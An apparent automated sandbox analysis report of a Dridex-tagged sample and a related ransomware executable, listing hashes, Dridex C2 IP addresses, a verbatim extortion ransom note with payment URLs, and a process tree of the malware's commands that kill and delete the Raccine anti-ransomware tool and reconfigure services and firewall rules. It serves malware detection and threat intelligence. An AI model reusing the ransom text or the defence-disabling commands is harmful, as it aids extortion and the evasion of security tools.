dridex | eba1640261ccfb94b564c263a1909ef49b1c18c503df4dc99905587bb25d94f5

Analysis

max time kernel
133s
max time network
143s
platform
windows10_x64
resource
win10v20210408
submitted
12/05/2021, 00:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9f7a9948_by_Libranalysis.dll
Size 162KB
Sample210512-5cb8apm4fs
SHA256 eba1640261ccfb94b564c263a1909ef49b1c18c503df4dc99905587bb25d94f5
MD5 9f7a9948944605cfba416db8ff43a4c2
SHA1 15b463d6fb3e3586272fd684f42caa2d1e2c6b4b
SHA512 5e04d74ee4f7dd3269ccd73e75e1136ffb591bdc573683d29b382b85ee2b10c1faad7cc73d19a311ab229de7645730601816d9cc32402678b98beb63ddaf14ed
MD5 SHA1 SHA512

Score

10^/10

dridex 40112 botnet evasion loader ransomware trojan

Malware Config

Extracted

Path

C:\Windows\TEMP\RESTORE_FILES_INFO.txt

Ransom Note

YOUR COMPANY NETWORK HAS BEEN HACKED All your important files have been encrypted! Your files are safe! Only modified.(AES) No software available on internet can help you. We are the only ones able to decrypt your files. -------------------------------------------------------------------------------- We also gathered highly confidential/personal data. These data are currently stored on a private server. Files are also encrypted and stored securely. -------------------------------------------------------------------------------- As a result of working with us, you will receive: Fully automatic decryptor, all your data will be recovered within a few hours after it's run. Server with your data will be immediately destroyed after your payment. Save time and continue working. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. -------------------------------------------------------------------------------- !!!!!!!!!!!!!!!!!!!!!!!! If you decide not to work with us: All data on your computers will remain encrypted forever. YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER! So you can expect your data to be publicly available in the near future.. The price will increase over time. !!!!!!!!!!!!!!!!!!!!!!!!! -------------------------------------------------------------------------------- It doesn't matter to us what you choose pay us or we will sell your data. We only seek money and our goal is not to damage your reputation or prevent your business from running. Write to us now and we will provide the best prices. Instructions for contacting us: ____________________________________________________________________________________ You have two ways: 1) [Recommended] Using a TOR browser! a. Download and install TOR browser from this site: https://torproject.org/ b. Open the Tor browser. Copy the link: http://promethw27cbrcot.onion/ticket.php?track=141-5D9-Y454 and paste it in the Tor browser. c. Start a chat and follow the further instructions. 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a. Open your any browser (Chrome, Firefox, Opera, IE, Edge) b. Open our secondary website: http://prometheusdec.in/ticket.php?track=141-5D9-Y454 c. Start a chat and follow the further instructions. Warning: secondary website can be blocked, thats why first variant much better and more available. _____________________________________________________________________________________ Attention! Any attempt to restore your files with third-party software will corrupt it. Modify or rename files will result in a loose of data. If you decide to try anyway, make copies before that Key Identifier: k8e1tgfjDeKLRXe7wz5HLzYppA5mcPxMlqavW9GMQWd9XbomzncA/GBEk+mG33W42aU7d/yb2x9AYHsHzpT6ct1RI1XTOcp+2C1ks8H1K4VNjszjX3mE6vD/HeFza29eCXkQ6k7ptJY+ZnjeK2+AZ9RHVZ6nYLNjQtHDEt2Rx0WYYK9fgNPDuQ5jQ9bBWfrwN0m9BbGBQ+3D+tB3PZ62k518/lxJALWzR2u8Vs0A9DHV7VBYyGMkdnK6pVZmz6Ufc5zoXgB+qEmebhfb0+gIKqoyE3pAfRw7yMgzQLByaZCDHp0DDpoVnp7HjS0fu2wldAsqqVoGRQyEur+4MWQ7Y4TGKVSTd3CZUYQiO/gZPva0OJgE0kJAClUgGINfsuwno46KlW0+O1g9nmKtvCrsC28+3JOGM5qSLQ2SxqMYIC+EgX4j7hp/CLpfjtDSWEGthhgSdrsyQPWfb05BrD94w65cXJ6EtJ3iDOW3sliL/0ds5l2abvjX9bAT+7KLKPGWRmBdw4wkY92UzDcqpJ4HHovV2//Lq+szd5yDuiLxTG9fnrGSJELYxAFIgg0GMpcEa4OMD6+GvI3hQazRwCI6ppbbumwxT1YJnnKS+E5xMwESsTvUxT6QdPPkvppU81Z5X0yFiDyyhe3CXR53YP4eCADOrFR7TDQN3PDoDXeX9As=

URLs

http://promethw27cbrcot.onion/ticket.php?track=141-5D9-Y454
http://prometheusdec.in/ticket.php?track=141-5D9-Y454

Extracted

Family

dridex

Botnet

40112

107.172.227.10:443
172.93.133.123:2303
108.168.61.147:8172

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex

Dridex Loader 1 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

resource	yara_rule
behavioral2/memory/1452-115-0x0000000073D90000-0x0000000073DBE000-memory.dmp	dridex_ldr

Downloads MZ/PE file

Executes dropped EXE 6 IoCs

pid	Process
1376	pmwdbyve.exe
1460	pmwdbyve.exe
2132	pmwdbyve.exe
2256	pmwdbyve.exe
3392	pmwdbyve.exe
3620	pmwdbyve.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\CompleteDisconnect.tiff	e1f063d6_by_Libranalysis.exe
File opened for modification	C:\Users\Admin\Pictures\MergeUnregister.tiff	e1f063d6_by_Libranalysis.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rundll32.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\“%s”	fsutil.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\e1f063d6_by_Libranalysis.exe.log	e1f063d6_by_Libranalysis.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\mystartup.lnk	e1f063d6_by_Libranalysis.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\PSEXEC-GFBFPSXA-3C8F7911.key	PSEXESVC.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.

Kills process with taskkill 48 IoCs

evasion

pid	Process
3508	taskkill.exe
416	taskkill.exe
3180	taskkill.exe
1176	taskkill.exe
1880	taskkill.exe
1324	taskkill.exe
2512	taskkill.exe
3396	taskkill.exe
3308	taskkill.exe
2804	taskkill.exe
2248	taskkill.exe
2144	taskkill.exe
768	taskkill.exe
1404	taskkill.exe
2144	taskkill.exe
2624	taskkill.exe
2232	taskkill.exe
2240	taskkill.exe
2192	taskkill.exe
1588	taskkill.exe
1484	taskkill.exe
2296	taskkill.exe
1404	taskkill.exe
3884	taskkill.exe
368	taskkill.exe
1856	taskkill.exe
2364	taskkill.exe
3924	taskkill.exe
2120	taskkill.exe
4024	taskkill.exe
788	taskkill.exe
3876	taskkill.exe
2960	taskkill.exe
412	taskkill.exe
2476	taskkill.exe
3916	taskkill.exe
3436	taskkill.exe
2296	taskkill.exe
512	taskkill.exe
3652	taskkill.exe
2200	taskkill.exe
856	taskkill.exe
2364	taskkill.exe
2864	taskkill.exe
2292	taskkill.exe
1256	taskkill.exe
60	taskkill.exe
2268	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@%SystemRoot%\system32\firewallapi.dll,-37302 = "mDNS"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@wifidisplay.dll,-100 = "Wireless Display"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@snmptrap.exe,-3 = "SNMP Trap"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@peerdistsh.dll,-9002 = "BranchCache - Hosted Cache Server (Uses HTTPS)"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{35786D3C-B075-49B9-88DD-029876E11C01} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 010000000000000056498210d446d701	e1f063d6_by_Libranalysis.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@peerdistsh.dll,-9001 = "BranchCache - Peer Discovery (Uses WSD)"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@netlogon.dll,-1010 = "Netlogon Service"	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	e1f063d6_by_Libranalysis.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@sstpsvc.dll,-35001 = "Secure Socket Tunneling Protocol"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	pmwdbyve.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	pmwdbyve.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	pmwdbyve.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CWindows%5CSystemApps%5CEnvironmentsApp_cw5n1h2txyewy%5Cresources.pri	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CWindows%5CSystemApps%5CEnvironmentsApp_cw5n1h2txyewy%5Cresources.pri\1d2a058e0b92f6f	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CWindows%5CSystemApps%5CEnvironmentsApp_cw5n1h2txyewy%5Cresources.pri	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@wlansvc.dll,-36864 = "WLAN Service - WFD Application Services Platform Coordination Protocol (Uses UDP)"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CWindows%5CSystemApps%5CEnvironmentsApp_cw5n1h2txyewy%5Cresources.pri	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mshta.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	pmwdbyve.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	e1f063d6_by_Libranalysis.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CWindows%5CSystemApps%5CEnvironmentsApp_cw5n1h2txyewy%5Cresources.pri\1d2a058e0b92f6f\a01460c8	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	pmwdbyve.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec\EulaAccepted = "1"	pmwdbyve.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	e1f063d6_by_Libranalysis.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\PsExec	pmwdbyve.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2248	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2268	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	e1f063d6_by_Libranalysis.exe
Token: SeDebugPrivilege	368	taskkill.exe
Token: SeDebugPrivilege	1588	taskkill.exe
Token: SeDebugPrivilege	2364	taskkill.exe
Token: SeDebugPrivilege	1484	taskkill.exe
Token: SeDebugPrivilege	3916	taskkill.exe
Token: SeDebugPrivilege	2296	taskkill.exe
Token: SeDebugPrivilege	1404	taskkill.exe
Token: SeDebugPrivilege	3924	taskkill.exe
Token: SeDebugPrivilege	2864	taskkill.exe
Token: SeDebugPrivilege	768	taskkill.exe
Token: SeDebugPrivilege	788	taskkill.exe
Token: SeDebugPrivilege	2292	taskkill.exe
Token: SeDebugPrivilege	1176	taskkill.exe
Token: SeDebugPrivilege	1880	taskkill.exe
Token: SeDebugPrivilege	1256	taskkill.exe
Token: SeDebugPrivilege	3884	taskkill.exe
Token: SeDebugPrivilege	3876	taskkill.exe
Token: SeDebugPrivilege	1404	taskkill.exe
Token: SeDebugPrivilege	2120	taskkill.exe
Token: SeDebugPrivilege	1324	taskkill.exe
Token: SeDebugPrivilege	3436	taskkill.exe
Token: SeDebugPrivilege	2512	taskkill.exe
Token: SeDebugPrivilege	60	taskkill.exe
Token: SeDebugPrivilege	1856	taskkill.exe
Token: SeDebugPrivilege	2296	taskkill.exe
Token: SeDebugPrivilege	3396	taskkill.exe
Token: SeDebugPrivilege	2240	taskkill.exe
Token: SeDebugPrivilege	2144	taskkill.exe
Token: SeDebugPrivilege	2364	taskkill.exe
Token: SeDebugPrivilege	412	taskkill.exe
Token: SeDebugPrivilege	3652	taskkill.exe
Token: SeDebugPrivilege	3508	taskkill.exe
Token: SeDebugPrivilege	2624	taskkill.exe
Token: SeDebugPrivilege	2232	taskkill.exe
Token: SeDebugPrivilege	2200	taskkill.exe
Token: SeDebugPrivilege	856	taskkill.exe
Token: SeDebugPrivilege	4024	taskkill.exe
Token: SeDebugPrivilege	416	taskkill.exe
Token: SeDebugPrivilege	2268	taskkill.exe
Token: SeDebugPrivilege	2804	taskkill.exe
Token: SeDebugPrivilege	3180	taskkill.exe
Token: SeDebugPrivilege	512	taskkill.exe
Token: SeDebugPrivilege	2248	taskkill.exe
Token: SeDebugPrivilege	2192	taskkill.exe
Token: SeDebugPrivilege	3308	taskkill.exe
Token: SeDebugPrivilege	2476	taskkill.exe
Token: SeDebugPrivilege	2144	taskkill.exe
Token: SeDebugPrivilege	2152	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2168	e1f063d6_by_Libranalysis.exe
2168	e1f063d6_by_Libranalysis.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 904 wrote to memory of 1452	904	rundll32.exe	70
PID 904 wrote to memory of 1452	904	rundll32.exe	70
PID 904 wrote to memory of 1452	904	rundll32.exe	70
PID 3876 wrote to memory of 2168	3876	PSEXESVC.exe	80
PID 3876 wrote to memory of 2168	3876	PSEXESVC.exe	80
PID 2168 wrote to memory of 368	2168	e1f063d6_by_Libranalysis.exe	82
PID 2168 wrote to memory of 368	2168	e1f063d6_by_Libranalysis.exe	82
PID 2168 wrote to memory of 636	2168	e1f063d6_by_Libranalysis.exe	84
PID 2168 wrote to memory of 636	2168	e1f063d6_by_Libranalysis.exe	84
PID 2168 wrote to memory of 2248	2168	e1f063d6_by_Libranalysis.exe	86
PID 2168 wrote to memory of 2248	2168	e1f063d6_by_Libranalysis.exe	86
PID 2168 wrote to memory of 1856	2168	e1f063d6_by_Libranalysis.exe	88
PID 2168 wrote to memory of 1856	2168	e1f063d6_by_Libranalysis.exe	88
PID 2168 wrote to memory of 2220	2168	e1f063d6_by_Libranalysis.exe	90
PID 2168 wrote to memory of 2220	2168	e1f063d6_by_Libranalysis.exe	90
PID 2168 wrote to memory of 1308	2168	e1f063d6_by_Libranalysis.exe	94
PID 2168 wrote to memory of 1308	2168	e1f063d6_by_Libranalysis.exe	94
PID 2168 wrote to memory of 2804	2168	e1f063d6_by_Libranalysis.exe	92
PID 2168 wrote to memory of 2804	2168	e1f063d6_by_Libranalysis.exe	92
PID 2168 wrote to memory of 2512	2168	e1f063d6_by_Libranalysis.exe	96
PID 2168 wrote to memory of 2512	2168	e1f063d6_by_Libranalysis.exe	96
PID 2168 wrote to memory of 2256	2168	e1f063d6_by_Libranalysis.exe	100
PID 2168 wrote to memory of 2256	2168	e1f063d6_by_Libranalysis.exe	100
PID 2168 wrote to memory of 2180	2168	e1f063d6_by_Libranalysis.exe	98
PID 2168 wrote to memory of 2180	2168	e1f063d6_by_Libranalysis.exe	98
PID 2168 wrote to memory of 3180	2168	e1f063d6_by_Libranalysis.exe	105
PID 2168 wrote to memory of 3180	2168	e1f063d6_by_Libranalysis.exe	105
PID 2168 wrote to memory of 1016	2168	e1f063d6_by_Libranalysis.exe	101
PID 2168 wrote to memory of 1016	2168	e1f063d6_by_Libranalysis.exe	101
PID 2168 wrote to memory of 3536	2168	e1f063d6_by_Libranalysis.exe	106
PID 2168 wrote to memory of 3536	2168	e1f063d6_by_Libranalysis.exe	106
PID 2168 wrote to memory of 1588	2168	e1f063d6_by_Libranalysis.exe	108
PID 2168 wrote to memory of 1588	2168	e1f063d6_by_Libranalysis.exe	108
PID 2168 wrote to memory of 2364	2168	e1f063d6_by_Libranalysis.exe	111
PID 2168 wrote to memory of 2364	2168	e1f063d6_by_Libranalysis.exe	111
PID 2168 wrote to memory of 1484	2168	e1f063d6_by_Libranalysis.exe	110
PID 2168 wrote to memory of 1484	2168	e1f063d6_by_Libranalysis.exe	110
PID 2168 wrote to memory of 3916	2168	e1f063d6_by_Libranalysis.exe	114
PID 2168 wrote to memory of 3916	2168	e1f063d6_by_Libranalysis.exe	114
PID 2168 wrote to memory of 2296	2168	e1f063d6_by_Libranalysis.exe	116
PID 2168 wrote to memory of 2296	2168	e1f063d6_by_Libranalysis.exe	116
PID 2168 wrote to memory of 1404	2168	e1f063d6_by_Libranalysis.exe	140
PID 2168 wrote to memory of 1404	2168	e1f063d6_by_Libranalysis.exe	140
PID 2168 wrote to memory of 3924	2168	e1f063d6_by_Libranalysis.exe	120
PID 2168 wrote to memory of 3924	2168	e1f063d6_by_Libranalysis.exe	120
PID 2168 wrote to memory of 2864	2168	e1f063d6_by_Libranalysis.exe	122
PID 2168 wrote to memory of 2864	2168	e1f063d6_by_Libranalysis.exe	122
PID 2168 wrote to memory of 768	2168	e1f063d6_by_Libranalysis.exe	124
PID 2168 wrote to memory of 768	2168	e1f063d6_by_Libranalysis.exe	124
PID 2168 wrote to memory of 788	2168	e1f063d6_by_Libranalysis.exe	126
PID 2168 wrote to memory of 788	2168	e1f063d6_by_Libranalysis.exe	126
PID 2168 wrote to memory of 1176	2168	e1f063d6_by_Libranalysis.exe	128
PID 2168 wrote to memory of 1176	2168	e1f063d6_by_Libranalysis.exe	128
PID 2168 wrote to memory of 2292	2168	e1f063d6_by_Libranalysis.exe	130
PID 2168 wrote to memory of 2292	2168	e1f063d6_by_Libranalysis.exe	130
PID 2168 wrote to memory of 1880	2168	e1f063d6_by_Libranalysis.exe	132
PID 2168 wrote to memory of 1880	2168	e1f063d6_by_Libranalysis.exe	132
PID 2168 wrote to memory of 1256	2168	e1f063d6_by_Libranalysis.exe	134
PID 2168 wrote to memory of 1256	2168	e1f063d6_by_Libranalysis.exe	134
PID 2168 wrote to memory of 3876	2168	e1f063d6_by_Libranalysis.exe	135
PID 2168 wrote to memory of 3876	2168	e1f063d6_by_Libranalysis.exe	135
PID 2168 wrote to memory of 3884	2168	e1f063d6_by_Libranalysis.exe	138
PID 2168 wrote to memory of 3884	2168	e1f063d6_by_Libranalysis.exe	138
PID 2168 wrote to memory of 1404	2168	e1f063d6_by_Libranalysis.exe	140

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\9f7a9948_by_Libranalysis.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:904
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\9f7a9948_by_Libranalysis.dll,#1
  2⤵
  - Checks whether UAC is enabled
  PID:1452

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3876
- C:\Windows\e1f063d6_by_Libranalysis.exe
  "e1f063d6_by_Libranalysis.exe"
  2⤵
  - Modifies extensions of user files
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\system32\taskkill.exe
    "taskkill" /F /IM RaccineSettings.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:368
- - C:\Windows\system32\reg.exe
    "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
    3⤵
    PID:636
- - C:\Windows\system32\reg.exe
    "reg" delete HKCU\Software\Raccine /F
    3⤵
    - Modifies registry key
    PID:2248
- - C:\Windows\system32\schtasks.exe
    "schtasks" /DELETE /TN "Raccine Rules Updater" /F
    3⤵
    PID:1856
- - C:\Windows\system32\sc.exe
    "sc.exe" config Dnscache start= auto
    3⤵
    PID:2220
- - C:\Windows\system32\sc.exe
    "sc.exe" config FDResPub start= auto
    3⤵
    PID:2804
- - C:\Windows\system32\sc.exe
    "sc.exe" config SQLTELEMETRY start= disabled
    3⤵
    PID:1308
- - C:\Windows\system32\sc.exe
    "sc.exe" config SSDPSRV start= auto
    3⤵
    PID:2512
- - C:\Windows\system32\sc.exe
    "sc.exe" config SstpSvc start= disabled
    3⤵
    PID:2180
- - C:\Windows\system32\sc.exe
    "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
    3⤵
    PID:2256
- - C:\Windows\system32\netsh.exe
    "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
    3⤵
    - Modifies data under HKEY_USERS
    PID:1016
- - C:\Windows\system32\sc.exe
    "sc.exe" config upnphost start= auto
    3⤵
    PID:3180
- - C:\Windows\system32\sc.exe
    "sc.exe" config SQLWriter start= disabled
    3⤵
    PID:3536
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM mspub.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1588
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM synctime.exe /F
    3⤵
    - Kills process with taskkill
